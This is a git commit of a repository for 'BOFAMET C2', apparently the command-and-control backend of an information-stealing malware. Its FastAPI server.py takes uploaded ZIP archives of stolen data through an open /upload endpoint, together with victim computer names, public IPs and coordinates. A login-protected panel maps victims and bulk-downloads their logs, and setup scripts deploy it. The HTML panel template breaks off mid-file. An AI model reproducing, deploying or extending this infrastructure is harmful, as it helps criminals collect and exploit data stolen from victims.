initial commit

This commit is contained in:
i2p
2026-08-27 11:22:38 -06:00
commit d96eee0789
12 changed files with 2188 additions and 0 deletions
Vendored
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
+168
View File
@@ -0,0 +1,168 @@
import os
import json
import sys
import subprocess
import datetime
if sys.version_info.major >= 3:
try:
sys.stdin.reconfigure(encoding='utf-8')
sys.stdout.reconfigure(encoding='utf-8')
except AttributeError:
import io
sys.stdin = io.TextIOWrapper(sys.stdin.buffer, encoding='utf-8')
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
script_dir = os.path.dirname(os.path.abspath(__file__))
os.chdir(script_dir)
print(f"SatanGPT: Changed current working directory to: {os.getcwd()}")
CONFIG_FILE = 'config.json'
VALID_USERNAME = None
VALID_PASSWORD = None
LISTEN_PORT = None
GLOBAL_SECRET_KEY = None
def load_config():
global VALID_USERNAME, VALID_PASSWORD, LISTEN_PORT, GLOBAL_SECRET_KEY
if os.path.exists(CONFIG_FILE):
try:
with open(CONFIG_FILE, 'r') as f:
config_data = json.load(f)
VALID_USERNAME = config_data.get('username')
VALID_PASSWORD = config_data.get('password')
LISTEN_PORT = config_data.get('port')
GLOBAL_SECRET_KEY = bytes.fromhex(config_data.get('secret_key'))
print("Configuration loaded from config.json.")
return True
except (json.JSONDecodeError, KeyError) as e:
print(f"Error loading configuration from {CONFIG_FILE}: {e}. Running setup CLI.")
if os.path.exists(CONFIG_FILE):
os.remove(CONFIG_FILE)
return False
return False
def setup_cli():
"""
Launches the CLI for initial server setup.
"""
global VALID_USERNAME, VALID_PASSWORD, LISTEN_PORT, GLOBAL_SECRET_KEY
print("""
██████ ██████ ███████ █████ ███ ███ ███████ ████████ ██████ ██████
██ ██ ██ ██ ██ ██ ██ ████ ████ ██ ██ ██ ██
██████ ██ ██ █████ ███████ ██ ████ ██ █████ ██ ██ █████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██████ ██ ██ ██ ██ ██ ███████ ██ ██████ ███████
""")
print("\n--- Initial Server Setup ---")
print("This appears to be the first run or configuration is missing.")
print("Please set up the admin panel credentials and listening port.")
username = input("Enter desired admin username: ").strip()
password = input("Enter desired admin password: ").strip()
while True:
try:
port = int(input("Enter desired listening port (e.g., 8000): ").strip())
if not (1024 <= port <= 65535):
print("Invalid port. Please choose a port between 1024 and 65535.")
continue
break
except ValueError:
print("Invalid input. Please enter a numeric value for the port.")
secret_key_bytes = os.urandom(32)
secret_key_hex = secret_key_bytes.hex()
config_data = {
'username': username,
'password': password,
'port': port,
'secret_key': secret_key_hex
}
with open(CONFIG_FILE, 'w') as f:
json.dump(config_data, f, indent=4)
print(f"Configuration saved to {CONFIG_FILE}.")
VALID_USERNAME = username
VALID_PASSWORD = password
LISTEN_PORT = port
GLOBAL_SECRET_KEY = secret_key_bytes
if __name__ == '__main__':
config_exists = os.path.exists(CONFIG_FILE)
config_loaded_successfully = False
if config_exists:
print(f"\n--- Configuration File '{CONFIG_FILE}' Found ---")
print("Do you want to:")
print("1. Load existing configuration (recommended)")
print("2. Set up a new configuration (will overwrite existing)")
while True:
choice_config = input("Enter your choice (1 or 2): ").strip()
if choice_config == '1':
config_loaded_successfully = load_config()
if not config_loaded_successfully:
print("SatanGPT: Existing configuration is corrupted. Running setup CLI to create a new one.")
setup_cli()
break
elif choice_config == '2':
print("SatanGPT: Proceeding with new configuration setup. Existing config will be overwritten!")
if os.path.exists(CONFIG_FILE):
os.remove(CONFIG_FILE)
setup_cli()
config_loaded_successfully = True
break
else:
print("Invalid choice. Please enter 1 or 2.")
else:
print("SatanGPT: Configuration file not found. Running initial setup CLI.")
setup_cli()
config_loaded_successfully = True
if not config_loaded_successfully:
print("SatanGPT: Failed to load or set up configuration. Exiting!")
sys.exit(1)
while True:
print("\n--- Server Launch Options ---")
print("How do you want to run the server?")
print("1. Run server in debug mode (foreground)")
print("2. Run server in background (with nohup, recommended for production)")
print("3. Set up a new configuration (username, password, port)")
choice = input("Enter your choice (1, 2, or 3): ").strip()
if choice == '1':
print(f"Starting server in debug mode on http://0.0.0.0:{LISTEN_PORT}...")
print("Enter your server's IP address and listening port in the following format: IP:PORT")
print("It may take some time to start the server for the first time, but don't worry!")
os.execv(sys.executable, [sys.executable, 'server.py'])
break
elif choice == '2':
print(f"Starting server in background using nohup on http://0.0.0.0:{LISTEN_PORT}...")
try:
command = f"nohup uvicorn server:app --host 0.0.0.0 --port {LISTEN_PORT} &"
subprocess.Popen(command, shell=True)
print("Server process initiated in background. Check 'nohup.out' for logs.")
print("Enter your server's IP address and listening port in the following format: IP:PORT")
print("It may take some time to start the server for the first time, but don't worry!")
sys.exit(0)
except Exception as e:
print(f"Error launching server in background: {e}. Try running manually.")
break
elif choice == '3':
print("SatanGPT: Reconfiguring the server. Prepare for new settings!")
if os.path.exists(CONFIG_FILE):
os.remove(CONFIG_FILE)
setup_cli()
else:
print("Invalid choice. Please enter 1, 2, or 3.")
+22
View File
@@ -0,0 +1,22 @@
#!/bin/bash
echo "INFO: Initiating system update and package installation!"
sudo apt update && sudo apt upgrade -y
sudo apt install python3 -y
sudo apt install python3-pip -y
echo "INFO: Core dependencies installed. Now installing Python libraries!"
if [ -f "requirements.txt" ]; then
pip3 install -r requirements.txt
else
echo "ERROR: requirements.txt not found! Cannot install Python libraries!"
exit 1
fi
echo "INFO: All dependencies are satisfied! Launching Config_C2.py!"
python3 Config_C2.py
echo "INFO: Setup complete or initiated. Check server status."
View File
+5
View File
@@ -0,0 +1,5 @@
fastapi
uvicorn
python-multipart
aiofiles
itsdangerous
+370
View File
@@ -0,0 +1,370 @@
from fastapi import FastAPI, UploadFile, File, Form, Request, HTTPException, Depends
from fastapi.responses import HTMLResponse, FileResponse, RedirectResponse, JSONResponse
from fastapi.templating import Jinja2Templates
from starlette.middleware.sessions import SessionMiddleware
from starlette import status
import uvicorn
import sqlite3
import os
import datetime
import zipfile
import shutil
import re
import json
from typing import List, Dict
from starlette.background import BackgroundTasks
import sys
import subprocess
from fastapi.staticfiles import StaticFiles
NOHUP_LOG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'nohup.out')
CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'config.json')
VALID_USERNAME = None
VALID_PASSWORD = None
LISTEN_PORT = None
GLOBAL_SECRET_KEY = None
app_config = {
'UPLOAD_FOLDER': 'uploads',
'DATABASE': 'c2_logs.db',
'PORT': 8000
}
if not os.path.exists(app_config['UPLOAD_FOLDER']):
os.makedirs(app_config['UPLOAD_FOLDER'])
templates = Jinja2Templates(directory="templates")
failed_login_attempts = {}
blocked_ips = {}
MAX_LOGIN_ATTEMPTS = 5
BLOCK_DURATION_MINUTES = 5
failed_login_attempts_global = 0
panel_permanently_blocked = False
BLOCK_DURATION = datetime.timedelta(minutes=5)
MAX_GLOBAL_FAILED_ATTEMPTS = 100
def init_db():
conn = sqlite3.connect(app_config['DATABASE'])
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TEXT NOT NULL,
ip_address TEXT,
computer_name TEXT,
system_info_text TEXT,
file_path TEXT NOT NULL,
public_ip TEXT,
latitude REAL,
longitude REAL
)
''')
conn.commit()
conn.close()
def load_server_config():
global VALID_USERNAME, VALID_PASSWORD, LISTEN_PORT, GLOBAL_SECRET_KEY
if os.path.exists(CONFIG_FILE):
try:
with open(CONFIG_FILE, 'r') as f:
config_data = json.load(f)
VALID_USERNAME = config_data.get('username')
VALID_PASSWORD = config_data.get('password')
LISTEN_PORT = config_data.get('port')
GLOBAL_SECRET_KEY = bytes.fromhex(config_data.get('secret_key'))
print("Server config loaded by server.py.")
return True
except (json.JSONDecodeError, KeyError, ValueError) as e:
print(f"CRITICAL ERROR: Failed to load server configuration from {CONFIG_FILE}: {e}")
print("Please run 'python Config_C2.py' to configure the server first!")
sys.exit(1)
else:
print(f"CRITICAL ERROR: Configuration file '{CONFIG_FILE}' not found.")
print("Please run 'python Config_C2.py' to configure the server first!")
sys.exit(1)
load_server_config()
app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None)
app.mount("/static", StaticFiles(directory="static"), name="static")
if GLOBAL_SECRET_KEY:
app.add_middleware(SessionMiddleware, secret_key=GLOBAL_SECRET_KEY)
else:
print("CRITICAL ERROR: GLOBAL_SECRET_KEY not loaded. This should have been caught earlier.")
sys.exit(1)
app_config['PORT'] = LISTEN_PORT
init_db()
async def authenticate_user(request: Request):
if panel_permanently_blocked:
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail="Panel permanently blocked due to suspicious activity.",
)
if "authenticated" not in request.session or not request.session["authenticated"]:
raise HTTPException(
status_code=status.HTTP_303_SEE_OTHER,
detail="Not authenticated",
headers={"Location": "/login"}
)
current_ip = request.client.host
session_ip = request.session.get('client_ip')
if session_ip and session_ip != current_ip:
request.session.clear()
raise HTTPException(
status_code=status.HTTP_303_SEE_OTHER,
detail="IP address change detected, re-authentication required.",
headers={"Location": "/login"}
)
@app.get("/login", response_class=HTMLResponse)
async def login_page(request: Request):
return templates.TemplateResponse("login.html", {"request": request})
@app.post("/login")
async def process_login(request: Request, username: str = Form(...), password: str = Form(...)):
global failed_login_attempts_global, panel_permanently_blocked
if panel_permanently_blocked:
error_message = "Admin panel permanently blocked due to multiple suspicious login attempts. Server restart required."
return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN)
client_ip = request.client.host
if client_ip in blocked_ips and datetime.datetime.now() < blocked_ips[client_ip]:
remaining_time = blocked_ips[client_ip] - datetime.datetime.now()
total_seconds = int(remaining_time.total_seconds())
minutes = total_seconds // 60
seconds = total_seconds % 60
error_message = f"Your IP address is blocked. Remaining {minutes} minutes and {seconds} seconds."
return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN)
if username == VALID_USERNAME and password == VALID_PASSWORD:
request.session['authenticated'] = True
request.session['client_ip'] = client_ip
if client_ip in failed_login_attempts:
del failed_login_attempts[client_ip]
failed_login_attempts_global = 0
return RedirectResponse(url="/", status_code=status.HTTP_302_FOUND)
else:
failed_login_attempts_global += 1
if failed_login_attempts_global >= MAX_GLOBAL_ATTEMPTS:
panel_permanently_blocked = True
error_message = "Admin panel permanently blocked due to excessive number of failed login attempts from different IP addresses."
return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN)
failed_login_attempts[client_ip] = failed_login_attempts.get(client_ip, 0) + 1
if failed_login_attempts[client_ip] >= MAX_LOGIN_ATTEMPTS:
blocked_until = datetime.datetime.now() + datetime.timedelta(minutes=BLOCK_DURATION_MINUTES)
blocked_ips[client_ip] = blocked_until
del failed_login_attempts[client_ip]
error_message = f"Too many incorrect attempts. Your IP address is blocked for {BLOCK_DURATION_MINUTES} minutes."
return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN)
else:
return templates.TemplateResponse("login.html", {"request": request, "error_message": "Invalid username or password."})
@app.get("/logout")
async def logout(request: Request):
request.session.clear()
return RedirectResponse(url="/login", status_code=status.HTTP_302_FOUND)
@app.get("/", response_class=HTMLResponse, dependencies=[Depends(authenticate_user)])
async def index(request: Request):
conn = sqlite3.connect(app_config['DATABASE'])
conn.row_factory = sqlite3.Row
cursor = conn.cursor()
cursor.execute("SELECT * FROM logs ORDER BY timestamp DESC")
logs_raw = cursor.fetchall()
conn.close()
logs_for_template = []
for log_entry in logs_raw:
log_dict = dict(log_entry)
path_parts = log_dict['file_path'].split(os.sep)
uploads_index = -1
try:
uploads_index = path_parts.index(app_config['UPLOAD_FOLDER'])
except ValueError:
folder_name = path_parts[-2] if len(path_parts) >= 2 else ""
file_name = path_parts[-1]
else:
if uploads_index + 2 < len(path_parts):
folder_name = path_parts[uploads_index + 1]
file_name = path_parts[uploads_index + 2]
else:
folder_name = ""
file_name = path_parts[-1]
log_dict['download_url'] = request.url_for('download_file', folder_name=folder_name, file_name=file_name)
log_dict['file_name_display'] = file_name
logs_for_template.append(log_dict)
return templates.TemplateResponse("index.html", {"request": request, "logs": logs_for_template})
@app.get("/api/locations", response_model=List[Dict], dependencies=[Depends(authenticate_user)])
async def get_locations_for_map():
conn = sqlite3.connect(app_config['DATABASE'])
cursor = conn.cursor()
cursor.execute("SELECT id, timestamp, computer_name, public_ip, latitude, longitude FROM logs WHERE latitude IS NOT NULL AND longitude IS NOT NULL")
locations_raw = cursor.fetchall()
conn.close()
locations_data = []
for loc_id, timestamp, computer_name, public_ip, lat, lon in locations_raw:
locations_data.append({
"id": loc_id,
"timestamp": timestamp,
"computer_name": computer_name,
"public_ip": public_ip,
"latitude": lat,
"longitude": lon
})
return JSONResponse(content=locations_data)
@app.get("/api/server_logs_data", dependencies=[Depends(authenticate_user)])
async def get_server_logs_data():
log_content = "No server logs found or 'nohup.out' file does not exist."
try:
if os.path.exists(NOHUP_LOG_FILE):
with open(NOHUP_LOG_FILE, 'r', encoding='utf-8', errors='ignore') as f:
log_content = f.read()
else:
log_content = f"Server log file '{NOHUP_LOG_FILE}' not found."
except Exception as e:
log_content = f"Error reading server log file: {e}"
print(f"ERROR: Failed to read {NOHUP_LOG_FILE}: {e}")
return JSONResponse(content={"log_content": log_content})
@app.get("/download_all_logs", dependencies=[Depends(authenticate_user)])
async def download_all_logs(background_tasks: BackgroundTasks):
temp_zip_filename = f"BOFAMET_All_Logs_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.zip"
temp_zip_path = os.path.join(app_config['UPLOAD_FOLDER'], temp_zip_filename)
try:
with zipfile.ZipFile(temp_zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, _, files in os.walk(app_config['UPLOAD_FOLDER']):
for file in files:
if file.endswith('.zip') or file.endswith('.txt'):
full_path = os.path.join(root, file)
arcname = os.path.relpath(full_path, app_config['UPLOAD_FOLDER'])
zipf.write(full_path, arcname)
background_tasks.add_task(os.remove, temp_zip_path)
return FileResponse(temp_zip_path, media_type="application/zip", filename=temp_zip_filename,
headers={"Content-Disposition": f"attachment; filename={temp_zip_filename}"})
except Exception as e:
print(f"Error creating or sending bulk archive: {e}")
raise HTTPException(status_code=500, detail="Error creating log archive!")
@app.post("/upload")
async def upload_log(request: Request, file: UploadFile = File(...), system_info: str = Form(...), latitude: float = Form(0.0), longitude: float = Form(0.0)):
if not file:
return {"message": "No file provided"}, 400
if file.filename == '':
return {"message": "Empty file name"}, 400
if not file.filename.lower().endswith('.zip'):
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="Only ZIP archives are allowed!"
)
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
client_ip = request.client.host
computer_name_match = re.search(r"🖥️ <b>Computer:</b> <code>(.*?)</code>", system_info)
public_ip_match = re.search(r"🌍 <b>Public IP:</b> <code>(.*?)</code>", system_info)
computer_name = computer_name_match.group(1) if computer_name_match else "Unknown computer"
public_ip = public_ip_match.group(1) if public_ip_match else "Unknown IP"
conn = sqlite3.connect(app_config['DATABASE'])
cursor = conn.cursor()
cursor.execute(
"SELECT id, file_path FROM logs WHERE computer_name = ? AND public_ip = ?",
(computer_name, public_ip)
)
existing_log = cursor.fetchone()
if existing_log:
old_log_id, old_file_path = existing_log
old_log_folder = os.path.dirname(old_file_path)
cursor.execute("DELETE FROM logs WHERE id = ?", (old_log_id,))
conn.commit()
if os.path.exists(old_log_folder) and os.path.isdir(old_log_folder):
try:
shutil.rmtree(old_log_folder)
print(f"Old log folder deleted: {old_log_folder}")
except Exception as e:
print(f"Error deleting old log folder {old_log_folder}: {e}")
else:
print(f"Old log folder not found or is not a directory: {old_log_folder}")
log_folder_name = f"{public_ip}_{computer_name}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}"
log_folder_path = os.path.join(app_config['UPLOAD_FOLDER'], log_folder_name)
os.makedirs(log_folder_path, exist_ok=True)
file_save_path = os.path.join(log_folder_path, file.filename)
with open(file_save_path, "wb") as buffer:
shutil.copyfileobj(file.file, buffer)
info_file_path = os.path.join(log_folder_path, "system_info.txt")
with open(info_file_path, 'w', encoding='utf-8') as f:
f.write(system_info)
cursor.execute(
"INSERT INTO logs (timestamp, ip_address, computer_name, system_info_text, file_path, public_ip, latitude, longitude) VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
(timestamp, client_ip, computer_name, system_info, file_save_path, public_ip, latitude, longitude)
)
conn.commit()
conn.close()
return {"message": "Log uploaded successfully!"}
@app.get("/download/{folder_name}/{file_name}", dependencies=[Depends(authenticate_user)])
async def download_file(folder_name: str, file_name: str):
full_file_path = os.path.join(app_config['UPLOAD_FOLDER'], folder_name, file_name)
if not os.path.exists(full_file_path):
return {"message": "File not found!"}, 404
return FileResponse(full_file_path, media_type="application/zip", filename=file_name)
if __name__ == '__main__':
load_server_config()
app.SECRET_KEY = GLOBAL_SECRET_KEY
app.add_middleware(SessionMiddleware, secret_key=app.SECRET_KEY)
app_config['PORT'] = LISTEN_PORT
init_db()
print(f"Starting server on http://0.0.0.0:{app_config['PORT']}")
uvicorn.run(app, host='0.0.0.0', port=app_config['PORT'])
Binary file not shown.

After

Width:  |  Height:  |  Size: 5.5 KiB

+858
View File
@@ -0,0 +1,858 @@
<!-- index.html -->
<!DOCTYPE html>
<html lang="ru" id="html-lang">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>BOFAMET Control Panel</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@300;400&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://unpkg.com/[email protected]/dist/leaflet.css">
<link rel="icon" href="{{ url_for('static', path='/favicon.ico') }}">
<style>
:root {
--bg-primary: #121212;
--bg-secondary: #1e1e1e;
--bg-tertiary: #252525;
--text-primary: #e0e0e0;
--text-secondary: #a0a0a0;
--accent-primary: #2962ff;
--accent-secondary: #304ffe;
--accent-gradient: linear-gradient(135deg, #2962ff, #304ffe);
--border-color: #333333;
--success: #00c853;
--warning: #ffab00;
--danger: #ff1744;
--card-shadow: 0 4px 12px rgba(0, 0, 0, 0.25);
--transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
--glow: 0 0 15px rgba(41, 98, 255, 0.3);
}
[data-theme="light"] {
--bg-primary: #f8f9fa;
--bg-secondary: #ffffff;
--bg-tertiary: #f1f3f5;
--text-primary: #212529;
--text-secondary: #495057;
--accent-primary: #2962ff;
--accent-secondary: #304ffe;
--accent-gradient: linear-gradient(135deg, #2962ff, #304ffe);
--border-color: #dee2e6;
--card-shadow: 0 4px 12px rgba(0, 0, 0, 0.08);
--glow: 0 0 15px rgba(41, 98, 255, 0.15);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Inter', sans-serif;
background-color: var(--bg-primary);
color: var(--text-primary);
min-height: 100vh;
display: flex;
flex-direction: column;
transition: var(--transition);
line-height: 1.6;
}
.container {
width: 100%;
max-width: 1600px;
margin: 0 auto;
padding: 1.5rem;
flex: 1;
}
.header {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1rem 0;
border-bottom: 1px solid var(--border-color);
margin-bottom: 2rem;
}
.logo {
display: flex;
align-items: center;
gap: 0.75rem;
font-weight: 700;
font-size: 1.5rem;
color: var(--accent-primary);
transition: var(--transition);
cursor: pointer;
}
.logo:hover {
filter: brightness(1.15);
transform: translateY(-1px);
}
.logo-icon {
width: 40px;
height: 40px;
background: var(--accent-gradient);
border-radius: 10px;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-weight: 700;
font-size: 1.25rem;
box-shadow: var(--glow);
transition: var(--transition);
}
.logo:hover .logo-icon {
transform: rotate(10deg) scale(1.05);
}
.controls {
display: flex;
gap: 1rem;
align-items: center;
}
.theme-toggle {
background: none;
border: none;
cursor: pointer;
width: 40px;
height: 40px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-primary);
transition: var(--transition);
background: var(--bg-tertiary);
}
.theme-toggle:hover {
background: var(--bg-secondary);
box-shadow: var(--glow);
transform: rotate(15deg);
}
.logout-btn {
background: var(--accent-gradient);
border: none;
border-radius: 8px;
padding: 0.5rem 1.25rem;
font-family: 'Inter', sans-serif;
font-weight: 600;
color: white;
cursor: pointer;
transition: var(--transition);
display: flex;
align-items: center;
gap: 0.5rem;
box-shadow: var(--glow);
}
.logout-btn:hover {
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(41, 98, 255, 0.3);
}
.tabs {
display: flex;
gap: 0.5rem;
margin-bottom: 2rem;
border-bottom: 1px solid var(--border-color);
padding-bottom: 0.5rem;
}
.tab-btn {
background: none;
border: none;
padding: 0.75rem 1.5rem;
font-family: 'Inter', sans-serif;
font-weight: 500;
font-size: 1rem;
color: var(--text-secondary);
cursor: pointer;
border-radius: 8px 8px 0 0;
transition: var(--transition);
position: relative;
}
.tab-btn.active {
color: var(--accent-primary);
}
.tab-btn.active::after {
content: '';
position: absolute;
bottom: -1px;
left: 0;
width: 100%;
height: 3px;
background: var(--accent-primary);
border-radius: 3px 3px 0 0;
}
.tab-btn:hover:not(.active) {
background: var(--bg-tertiary);
}
.tab-content {
display: none;
opacity: 0;
transform: translateY(10px);
transition: opacity 0.4s ease, transform 0.4s ease;
}
.tab-content.active {
display: block;
opacity: 1;
transform: translateY(0);
}
.log-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(380px, 1fr));
gap: 1.5rem;
}
.log-card {
background: var(--bg-secondary);
border-radius: 12px;
padding: 1.5rem;
box-shadow: var(--card-shadow);
transition: var(--transition);
border: 1px solid var(--border-color);
display: flex;
flex-direction: column;
gap: 1rem;
opacity: 0;
transform: translateY(20px);
animation: fadeInUp 0.5s ease forwards;
animation-delay: calc(0.05s * var(--i));
}
@keyframes fadeInUp {
to {
opacity: 1;
transform: translateY(0);
}
}
.log-card:hover {
transform: translateY(-5px);
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15), var(--glow);
border-color: var(--accent-primary);
}
.log-header {
display: flex;
justify-content: space-between;
align-items: center;
padding-bottom: 0.75rem;
border-bottom: 1px solid var(--border-color);
}
.log-id {
font-size: 0.85rem;
color: var(--text-secondary);
font-weight: 500;
}
.log-time {
font-size: 0.85rem;
color: var(--text-secondary);
font-family: 'JetBrains Mono', monospace;
}
.log-details {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.detail-row {
display: flex;
}
.detail-label {
flex: 0 0 140px;
font-weight: 500;
color: var(--text-secondary);
}
.detail-value {
flex: 1;
font-family: 'JetBrains Mono', monospace;
font-size: 0.9rem;
word-break: break-word;
}
.download-link {
color: var(--accent-primary);
text-decoration: none;
display: flex;
align-items: center;
gap: 0.5rem;
font-weight: 500;
transition: var(--transition);
position: relative;
padding: 0.25rem 0;
}
.download-link:hover {
color: var(--accent-secondary);
}
.download-link::after {
content: '';
position: absolute;
bottom: 0;
left: 0;
width: 0;
height: 2px;
background: var(--accent-primary);
transition: var(--transition);
}
.download-link:hover::after {
width: 100%;
}
.system-info {
background: var(--bg-tertiary);
border-radius: 8px;
padding: 1rem;
font-family: 'JetBrains Mono', monospace;
font-size: 0.85rem;
overflow-x: auto;
margin-top: 0.5rem;
}
.empty-state {
grid-column: 1 / -1;
text-align: center;
padding: 4rem 2rem;
color: var(--text-secondary);
opacity: 0;
animation: fadeIn 0.8s ease forwards;
}
.empty-state-icon {
font-size: 3rem;
margin-bottom: 1rem;
opacity: 0.5;
animation: pulse 2s infinite;
}
@keyframes pulse {
0% { transform: scale(0.95); }
50% { transform: scale(1.05); }
100% { transform: scale(0.95); }
}
.map-container {
height: 600px;
border-radius: 12px;
overflow: hidden;
box-shadow: var(--card-shadow);
border: 1px solid var(--border-color);
opacity: 0;
animation: fadeIn 0.8s ease forwards;
}
@keyframes fadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
.footer {
text-align: center;
padding: 1.5rem;
color: var(--text-secondary);
font-size: 0.85rem;
border-top: 1px solid var(--border-color);
margin-top: 2rem;
}
.footer a {
color: var(--accent-primary);
text-decoration: none;
position: relative;
font-weight: 600;
}
.footer a::after {
content: '';
position: absolute;
bottom: -2px;
left: 0;
width: 0;
height: 2px;
background: var(--accent-primary);
transition: var(--transition);
}
.footer a:hover::after {
width: 100%;
}
@media (max-width: 768px) {
.log-grid {
grid-template-columns: 1fr;
}
.header {
flex-direction: column;
align-items: flex-start;
gap: 1rem;
}
.controls {
width: 100%;
justify-content: space-between;
}
.tabs {
overflow-x: auto;
padding-bottom: 0;
}
.map-container {
height: 400px;
}
}
@media (max-width: 480px) {
.container {
padding: 1rem;
}
.tab-btn {
padding: 0.75rem 1rem;
font-size: 0.9rem;
}
.detail-row {
flex-direction: column;
gap: 0.25rem;
}
.detail-label {
flex: 0 0 auto;
}
.map-container {
height: 300px;
}
}
.control-buttons {
display: flex;
gap: 1rem;
margin-bottom: 1.5rem;
flex-wrap: wrap;
}
.control-btn {
background: var(--bg-tertiary);
border: 1px solid var(--border-color);
border-radius: 8px;
padding: 0.75rem 1.5rem;
font-family: 'Inter', sans-serif;
font-weight: 600;
color: var(--text-primary);
cursor: pointer;
transition: var(--transition);
display: flex;
align-items: center;
gap: 0.5rem;
}
.control-btn:hover {
background: var(--bg-secondary);
border-color: var(--accent-primary);
transform: translateY(-2px);
}
.control-btn.primary {
background: var(--accent-gradient);
color: white;
border: none;
box-shadow: var(--glow);
}
.control-btn.primary:hover {
transform: translateY(-3px);
box-shadow: 0 8px 20px rgba(41, 98, 255, 0.3);
}
@keyframes logoClick {
0% { transform: scale(1); }
50% { transform: scale(0.9); }
100% { transform: scale(1); }
}
.lang-toggle {
background: var(--bg-tertiary);
border: none;
width: 40px;
height: 40px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: var(--transition);
font-weight: 600;
font-size: 0.85rem;
color: var(--text-primary);
}
.lang-toggle:hover {
background: var(--bg-secondary);
box-shadow: var(--glow);
transform: scale(1.1);
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="logo" id="logo">
<div class="logo-icon">B</div>
<span>BOFAMET C2</span>
</div>
<div class="controls">
<button class="lang-toggle" id="langToggle" title="Switch language">EN</button>
<button class="theme-toggle" id="themeToggle">
<svg width="20" height="20" fill="currentColor" viewBox="0 0 24 24">
<path d="M12,22 C17.5228475,22 22,17.5228475 22,12 C22,6.4771525 17.5228475,2 12,2 C6.4771525,2 2,6.4771525 2,12 C2,17.5228475 6.4771525,22 12,22 Z M12,20 L12,4 C16.418278,4 20,7.581722 20,12 C20,16.418278 16.418278,20 12,20 Z"/>
</svg>
</button>
<button class="logout-btn" onclick="location.href='/logout'">
<svg width="18" height="18" fill="currentColor" viewBox="0 0 24 24">
<path d="M14.08,15.59L16.67,13H7V11H16.67L14.08,8.41L15.5,7L20.5,12L15.5,17L14.08,15.59M19,3A2,2 0 0,1 21,5V19A2,2 0 0,1 19,21H5A2,2 0 0,1 3,19V5A2,2 0 0,1 5,3H19Z"/>
</svg>
<span class="lang-text" data-ru="Выйти" data-en="Logout">Выйти</span>
</button>
</div>
</div>
<div class="tabs">
<button class="tab-btn active" data-tab="logs-tab">
<span class="lang-text" data-ru="Логи" data-en="Logs">Логи</span>
</button>
<button class="tab-btn" data-tab="map-tab">
<span class="lang-text" data-ru="Геолокация" data-en="Geolocation">Геолокация</span>
</button>
<button class="tab-btn" data-tab="server-logs-tab">
<span class="lang-text" data-ru="Логи Сервера" data-en="Server Logs">Логи Сервера</span>
</button>
</div>
<div id="logs-tab" class="tab-content active">
<div class="control-buttons">
<button class="control-btn" onclick="location.href='/'">
<svg width="16" height="16" fill="currentColor" viewBox="0 0 24 24">
<path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/>
</svg>
<span class="lang-text" data-ru="Обновить" data-en="Refresh">Обновить</span>
</button>
<button class="control-btn primary" onclick="location.href='/download_all_logs'">
<svg width="16" height="16" fill="currentColor" viewBox="0 0 24 24">
<path d="M5,20H19V18H5M19,9H15V3H9V9H5L12,16L19,9Z"/>
</svg>
<span class="lang-text" data-ru="Скачать все логи" data-en="Download all logs">Скачать все логи</span>
</button>
</div>
<div class="log-grid">
{% if logs %}
{% for log in logs %}
<div class="log-card" style="--i: {{ loop.index0 }};">
<div class="log-header">
<div class="log-id">ID: {{ log.id }}</div>
<div class="log-time">{{ log.timestamp }}</div>
</div>
<div class="log-details">
<div class="detail-row">
<div class="detail-label lang-text" data-ru="IP Клиента:" data-en="Client IP:">IP Клиента:</div>
<div class="detail-value">{{ log.ip_address }}</div>
</div>
<div class="detail-row">
<div class="detail-label lang-text" data-ru="Имя Компьютера:" data-en="Computer Name:">Имя Компьютера:</div>
<div class="detail-value">{{ log.computer_name }}</div>
</div>
<div class="detail-row">
<div class="detail-label lang-text" data-ru="Публичный IP:" data-en="Public IP:">Публичный IP:</div>
<div class="detail-value">{{ log.public_ip }}</div>
</div>
<div class="detail-row">
<div class="detail-label lang-text" data-ru="Координаты:" data-en="Coordinates:">Координаты:</div>
<div class="detail-value">{{ log.latitude|round(4) }}, {{ log.longitude|round(4) }}</div>
</div>
<div class="detail-row">
<div class="detail-label lang-text" data-ru="Файл:" data-en="File:">Файл:</div>
<div class="detail-value">
